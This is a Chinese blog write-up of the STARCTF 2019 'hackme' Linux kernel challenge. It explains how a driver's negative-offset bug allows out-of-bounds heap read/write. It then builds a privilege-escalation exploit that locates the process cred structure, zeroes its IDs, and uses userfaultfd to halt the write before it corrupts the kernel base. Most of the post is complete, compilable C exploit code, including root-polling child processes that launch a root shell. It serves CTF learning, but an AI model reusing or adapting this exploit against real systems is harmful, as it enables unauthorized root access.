0
点赞
收藏
分享

微信扫一扫

linux kernal pwn STARCTF 2019 hackme(三)userfaultfd机制修改cred

佳简诚锄 2022-04-20 阅读 37
网络安全

首先再熟悉一下userfaultfd机制

因为有任意读写,我们想着能不能去越界读写cred结构体去提权。
相关题型有2015年拿到stringipc。

但是我们知道cred结构体在kernal base的上面
而heap的地址一般都在kernal的下面

驱动程序漏洞部分是这样写的

在这里插入图片描述
这里的判断要求我们必须从头一直写到申请到的object
因为v20是0ffset 我们越界会将它设成负数
v19是要写的num
如果v19小于v20
那么相加是个负数
跟后面作比较用的是无符号整数
那就是个很大的整数
那么就不会满足条件。

如果我们直接越界去写cred
那么我们一定需要从cred一直写到object
中间势必会路过kernal base
那显然不可写
就会出错。

所以常规的越界写修改cred结构体就出错了。

那么我们这个时候就要把userfaultfd机制利用起来
我们设想一个这样的场景
假设我们在写cred的时候
利用userfaultfd机制监视这cred下面一点
当cred结构体被写完,继续往下写的时候触发userfaultfd,我们让线程停下来。
那么就不会覆盖到我们的kernal base了

我们跟着大佬exp
调一下看看。

首先说明编译exp的时候因为里面用来线程的相关函数
我们在编译的时候必须加-lpthread参数

gcc -static exp.c -o exp -lpthread
	for (int i=0; i<200; i++)
	{
		if (fork() == 0)
			get_root(i);
	}

void get_root(uint32_t i)
{
	while (1) 
	{
		sleep(1);
		if (getuid() == 0)
		{
			printf("[+] got root at thread: %d\n", i);
			execl("/bin/sh", "sh", NULL);
			exit(0);
		}
	}
}

首先就在这不停的fork进程
fork进程结束之后就干一件事:等一秒钟,然后提权试试。

	char *mem = malloc(MAX_DATA_SIZE);
	alloc(fd, 0, mem, 0x100);
	read_from_kernel(fd, 0, mem, MAX_DATA_SIZE, -MAX_DATA_SIZE);
	uint32_t *array = (uint32_t*)mem;
	uint32_t cred_offset = 0;
	//uint32_t count = 0;
	printf("[+] begin to search cred");
	for (int i = 0; i < SEARCH_SIZE/4; i++)
	{
		if (array[i] == 1000 && array[i+1] == 1000 && array[i+2] == 1000 && array[i+3] == 1000 && array[i+4] == 1000 && array[i+5] == 1000 && array[i+6] == 1000 && array[i+7] == 1000)
		{
			printf("[+] find cred at offset: 0x%x\n", i*4);
			for (int j = 0; j<8; j++)
				array[i+j] = 0;
			cred_offset = i*4;
			break;
		}
	}
	if (cred_offset == 0)
	{
		printf("[-] Cannot find cred");
		exit(-1);
	}

然后我们要通过任意读,读一堆东西出来
然后在里面找cred结构体。

找的方法就是通过cred结构体刚开始的几个成员

struct cred {
    atomic_t    usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC  0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
    kuid_t      uid;        /* real UID of the task */
    kgid_t      gid;        /* real GID of the task */
    kuid_t      suid;       /* saved UID of the task */
    kgid_t      sgid;       /* saved GID of the task */
    kuid_t      euid;       /* effective UID of the task */
    kgid_t      egid;       /* effective GID of the task */
    kuid_t      fsuid;      /* UID for VFS ops */
    kgid_t      fsgid;      /* GID for VFS ops */
    unsigned    securebits; /* SUID-less security management */
    kernel_cap_t    cap_inheritable; /* caps our children can inherit */
    kernel_cap_t    cap_permitted;  /* caps we're permitted */
    kernel_cap_t    cap_effective;  /* caps we can actually use */
    kernel_cap_t    cap_bset;   /* capability bounding set */
    kernel_cap_t    cap_ambient;    /* Ambient capability set */
#ifdef CONFIG_KEYS
    unsigned char   jit_keyring;    /* default keyring to attach requested
                     * keys to */
    struct key __rcu *session_keyring; /* keyring inherited over fork */
    struct key  *process_keyring; /* keyring private to this process */
    struct key  *thread_keyring; /* keyring private to this thread */
    struct key  *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
    void        *security;  /* subjective LSM security */
#endif
    struct user_struct *user;   /* real user ID subscription */
    struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
    struct group_info *group_info;  /* supplementary groups for euid/fsgid */
    struct rcu_head rcu;        /* RCU deletion hook */
};

通过那8个id 正常用户应该都是0x1000
通过这个特征来搜索cred结构体地址。

	char *new_mem = (char *) mmap(NULL, MAX_DATA_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
	memcpy(new_mem, mem, SEARCH_SIZE);
	fault_page = (uint64_t)new_mem + SEARCH_SIZE;
	fault_page_len = MAX_DATA_SIZE - SEARCH_SIZE;

然后mmap了一块空间

mmap后面的具体参数如下

#include <sys/mman.h>
void *mmap(void *start, size_t length, int prot, int flags,int fd, off_t offset);

所以mmap的页面是可读写,映射对象是匿名映射,私有映射。

连个参数fault_page是指还处于缺页的地址
fault_page_len指的是处于缺页的空间大小。

void* handler(void *arg)
{
	struct uffd_msg msg;
	unsigned long uffd = (unsigned long)arg;
	puts("[+] handler created");

	struct pollfd pollfd;
	int nready;
	pollfd.fd      = uffd;
	pollfd.events  = POLLIN;
	nready = poll(&pollfd, 1, -1);
	if (nready != 1)  // 这会一直等待,直到copy_from_user/copy_to_user访问FAULT_PAGE
		errExit("[-] Wrong pool return value");
	printf("[+] Trigger! I'm going to hang\n");

	if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) // 从uffd读取msg结构,虽然没用
		errExit("[-] Error in reading uffd_msg");
	assert(msg.event == UFFD_EVENT_PAGEFAULT);
	printf("[+] fault page handler finished");
	sleep(1000);
	return 0;
}

void register_userfault(uint64_t fault_page, uint64_t fault_page_len)
{
	struct uffdio_api ua;
	struct uffdio_register ur;
	pthread_t thr;

	uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // create the user fault fd
	ua.api = UFFD_API;
	ua.features = 0;
	if (ioctl(uffd, UFFDIO_API, &ua) == -1)
		errExit("[-] ioctl-UFFDIO_API");
	ur.range.start = (unsigned long)fault_page;
	ur.range.len   = fault_page_len;
	ur.mode        = UFFDIO_REGISTER_MODE_MISSING;
	if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1)
		errExit("[-] ioctl-UFFDIO_REGISTER");  //注册页地址与错误处理fd,这样只要copy_from_user
											   //访问到FAULT_PAGE,则访问被挂起,uffd会接收到信号
	int s = pthread_create(&thr, NULL, handler, (void*)uffd); // handler函数进行访存错误处理
	if (s!=0)
		errExit("[-] pthread_create");
    return;
}

然后调用了register_userfault函数
整个的一个过程就是利用usrefaultfd机制注册了一个缺页处理函数
当缺页的时候
会卡住一会。

write_to_kernel(fd, 0, new_mem, MAX_DATA_SIZE, -MAX_DATA_SIZE);

最后触发的条件就是往我们有机制的new_mem里面写东西。
我们一写,会从一开始往下写,然后到cred结构体的时候会把八个id改成0
然后一直到SEARCH_SIZE都写完的时候再往下写就会缺页
就会卡主 不会波及到下面的代码
然后还在那不停的问自己是不是root的线程突然发现自己是root 就弹个shell的root
就提权了

bsauce大佬完整exp 稍做修改

#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <errno.h>
#include <signal.h>
#include <sys/syscall.h>
#include <stdint.h>
#include <sys/prctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <assert.h>

#define ALLOC 0x30000
#define DEL 0x30001
#define READ 0x30003
#define WRITE 0x30002


struct arg
{
	size_t idx;
	void *addr;
	long long len;
	long long offset;
};

void alloc(int fd,int idx,char *user,long long len){
	struct arg cmd;
	cmd.idx = idx;
	cmd.len = len;
	cmd.addr = user;
	ioctl(fd,ALLOC,&cmd);
}

void delete(int fd,int idx){
	struct arg cmd;
	cmd.idx = idx;
	ioctl(fd,DEL,&cmd);
}

void read_from_kernel(int fd,int idx,char *user,long long len,long long offset){
	struct arg cmd;
	cmd.idx = idx;
	cmd.len = len;
	cmd.addr = user;
	cmd.offset = offset;
	ioctl(fd,READ,&cmd);	
}
void write_to_kernel(int fd,int idx,char *user,long long len,long long offset){
	struct arg cmd;
	cmd.idx = idx;
	cmd.len = len;
	cmd.addr = user;
	cmd.offset = offset;
	ioctl(fd,WRITE,&cmd);	
}

void get_root(uint32_t i)
{
	while (1) 
	{
		sleep(1);
		if (getuid() == 0)
		{
			printf("[+] got root at thread: %d\n", i);
			execl("/bin/sh", "sh", NULL);
			exit(0);
		}
	}
}

void errExit(char* msg)
{
	puts(msg);
	exit(-1);
}

void* handler(void *arg)
{
	struct uffd_msg msg;
	unsigned long uffd = (unsigned long)arg;
	puts("[+] handler created");

	struct pollfd pollfd;
	int nready;
	pollfd.fd      = uffd;
	pollfd.events  = POLLIN;
	nready = poll(&pollfd, 1, -1);
	if (nready != 1)  // 这会一直等待,直到copy_from_user/copy_to_user访问FAULT_PAGE
		errExit("[-] Wrong pool return value");
	printf("[+] Trigger! I'm going to hang\n");

	if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) // 从uffd读取msg结构,虽然没用
		errExit("[-] Error in reading uffd_msg");
	assert(msg.event == UFFD_EVENT_PAGEFAULT);
	printf("[+] fault page handler finished");
	sleep(1000);
	return 0;
}

void register_userfault(uint64_t fault_page, uint64_t fault_page_len)
{
	struct uffdio_api ua;
	struct uffdio_register ur;
	pthread_t thr;

	uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // create the user fault fd
	ua.api = UFFD_API;
	ua.features = 0;
	if (ioctl(uffd, UFFDIO_API, &ua) == -1)
		errExit("[-] ioctl-UFFDIO_API");
	ur.range.start = (unsigned long)fault_page;
	ur.range.len   = fault_page_len;
	ur.mode        = UFFDIO_REGISTER_MODE_MISSING;
	if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1)
		errExit("[-] ioctl-UFFDIO_REGISTER");  //注册页地址与错误处理fd,这样只要copy_from_user
											   //访问到FAULT_PAGE,则访问被挂起,uffd会接收到信号
	int s = pthread_create(&thr, NULL, handler, (void*)uffd); // handler函数进行访存错误处理
	if (s!=0)
		errExit("[-] pthread_create");
    return;
}

#define MAX_DATA_SIZE 0x160000
#define SEARCH_SIZE 0x10000
int main(){
	uint64_t fault_page;
	uint64_t fault_page_len;
	int fd = open("/dev/hackme", O_RDONLY);
	if (fd < 0 )
	{
		printf("[-] bad open /dev/hackme\n");
		exit(-1);
	}

	for (int i=0; i<200; i++)
	{
		if (fork() == 0)
			get_root(i);
	}

	char *mem = malloc(MAX_DATA_SIZE);
	alloc(fd, 0, mem, 0x100);
	read_from_kernel(fd, 0, mem, MAX_DATA_SIZE, -MAX_DATA_SIZE);
	uint32_t *array = (uint32_t*)mem;
	uint32_t cred_offset = 0;

	printf("[+] begin to search cred");
	for (int i = 0; i < SEARCH_SIZE/4; i++)
	{
		if (array[i] == 1000 && array[i+1] == 1000 && array[i+2] == 1000 && array[i+3] == 1000 && array[i+4] == 1000 && array[i+5] == 1000 && array[i+6] == 1000 && array[i+7] == 1000)
		{
			printf("[+] find cred at offset: 0x%x\n", i*4);
			for (int j = 0; j<8; j++)
				array[i+j] = 0;
			cred_offset = i*4;
			break;
		}
	}
	if (cred_offset == 0)
	{
		printf("[-] Cannot find cred");
		exit(-1);
	}

	char *new_mem = (char *) mmap(NULL, MAX_DATA_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
	memcpy(new_mem, mem, SEARCH_SIZE);
	fault_page = (uint64_t)new_mem + SEARCH_SIZE;
	fault_page_len = MAX_DATA_SIZE - SEARCH_SIZE;
	register_userfault(fault_page, fault_page_len);
	write_to_kernel(fd, 0, new_mem, MAX_DATA_SIZE, -MAX_DATA_SIZE);
}
举报

相关推荐

0 条评论